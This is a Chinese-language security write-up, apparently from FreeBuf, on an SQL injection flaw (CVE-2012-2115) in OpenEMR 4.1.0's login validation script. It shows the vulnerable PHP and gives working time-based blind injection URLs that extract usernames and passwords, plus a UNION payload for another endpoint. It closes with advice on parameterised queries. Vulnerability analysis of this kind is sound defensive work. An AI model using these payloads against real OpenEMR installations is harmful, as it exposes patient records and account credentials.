OpenEMR简介
OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR),是 ONC 认证的完整电子健康记录系统,具有完全集成的电子病历,处方书写、医疗帐单和临床决策等功能。它在100多个国家被使用,服务超过2亿病患,被公认为全球最受欢迎开源电子健康记录和医疗实践管理解决方案。
OpenEMR 4.1.0及之前版本内的interface/login/validateUser.php存在SQL注入漏洞,可允许远程攻击者通过u参数执行任意SQL命令,以获取数据库敏感信息或劫持用户会话。
漏洞细节
validateUser.php如下:
<?php $ignoreAuth=true; include_once("../globals.php"); include_once("$srcdir/sql.inc"); $user = $_GET['u']; $authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'"); $passlength = $authDB['passlength']; $pw = $authDB['password']; if ($passlength == 32) { echo "0"; } else if($passlength == 40) { echo "1"; } ?>
validateUser.php由login.php的jquery 函数进行调用,检查初始登录中用于密码的哈希算法。如果密码的长度为40,则使用sha1;长度为32,则使用md5。其中:
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
内的’$user’属于可控的输入部分,可以通过 ‘ 使注入点闭合。
登录界面login.php如图所示:
login.php内相关的密码验证代码段如下:
function chk_hash_fn() { var str = document.forms[0].authUser.value; $.ajax({ url: "validateUser.php?u="+str, context: document.body, success: function(data){ if(data == 0) { document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value); document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value); } else { document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value); } document.forms[0].clearPass.value=''; document.login_form.submit(); } }); }
openEMR数据库的users表部分内容如下:
id |
username |
password |
1 |
admin |
pass |
2 |
wang |
1qaz2wsx |
测试validateUser.php?u=admin返回1
尝试使用SELECT IF,通过服务器响应时间判定sql语句是否执行,从而试出username个数。
编写注入语句:
http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27
如图所示,响应数秒后才生成页面,说明数据库响应了注入的SQL语句,并可判断username个数为2。
同理,可通过该方法枚举判断user,password长度并根据字符对应数据。
漏洞概念验证PoC
基本payload:
validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+' validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+' validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'
编写python脚本以进行时间盲注;另外添加了本地代理以使用burpsuite进行监听。
使用repeater模块进行分析,执行语句:
SELECT IF((select count(username) from users)=2,sleep(3),1)
耗时6027ms,说明SELECT IF的结果为true,数据库响应了请求并进行等待。从而确定了username个数为2。
有人可能会提出疑问,明明使用的是sleep(3),为什么实际上用时为6秒?
这是因为在运行时,
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");
validateUser.php会执行嵌套内层select执行一次sleep(3)后,外层的select语句又会执行一次sleep(3),因此共花费6秒。此处使用phpMyAdmin进行验证。
单独执行SELECT IF内语句时,查询花费仅为3秒。
脚本部分运行结果:
继续监听,判断出username,password的长度为92个字符。
burpsuite监听到该数据包的MIME Type为文本,说明该字符的ascii码与数据库内的字符对应,且“a”的ascii码为97,说明username,password中第一个字符为a。
通过repeater模块进行复现,回显部分产生延时,说明成功对应到数据库中字符。
最终结果:
成功通过SQL注入获取到数据库中username,password内容。
另外,OpenEMR 的add_edit_issue.php也有SQL注入漏洞,攻击者可以使用浏览器来利用此漏洞,本文不再展开。
http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27–
预防SQL注入的方法
使用预处理语句(参数化查询),例如:
$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) { header("Location: /blog/"); exit; } $posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);
总结
SQL注入是一种非常常见的攻击手段,服务端没有对客户端的输入信息做过滤,使得信息被带入了数据库查询,从而暴露了数据库内的信息。未部署好防御工作的服务器,可以轻易地让攻击者获取数据库的后台管理员账号和密码,达到进一步渗透的目的,甚至造成整个数据库被”脱库”等。代码注入也长年保持在OWASP漏洞排名前十。因此建议用户使用一定的防御手段以及更加安全的扩展如MySQLi、PDO MySQL来防止SQL注入攻击。
参考资料
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2115
- http://www.securityfocus.com/bid/51247
- https://www.securityfocus.com/bid/50289
- https://www.exploit-db.com/exploits/49742
- http://www.mavitunasecurity.com/sql-injection-vulnerability-in-openemr/
- https://www.netsparker.com/blog/web-security/sql-injection-vulnerability/
- https://mp.weixin.qq.com/s/MGefIEp69VxMZ2at8UICJA
- https://www.freebuf.com/vuls/267017.html
来源:freebuf.com 2021-04-19 14:41:06 by: 奇安信代码卫士
请登录后发表评论
注册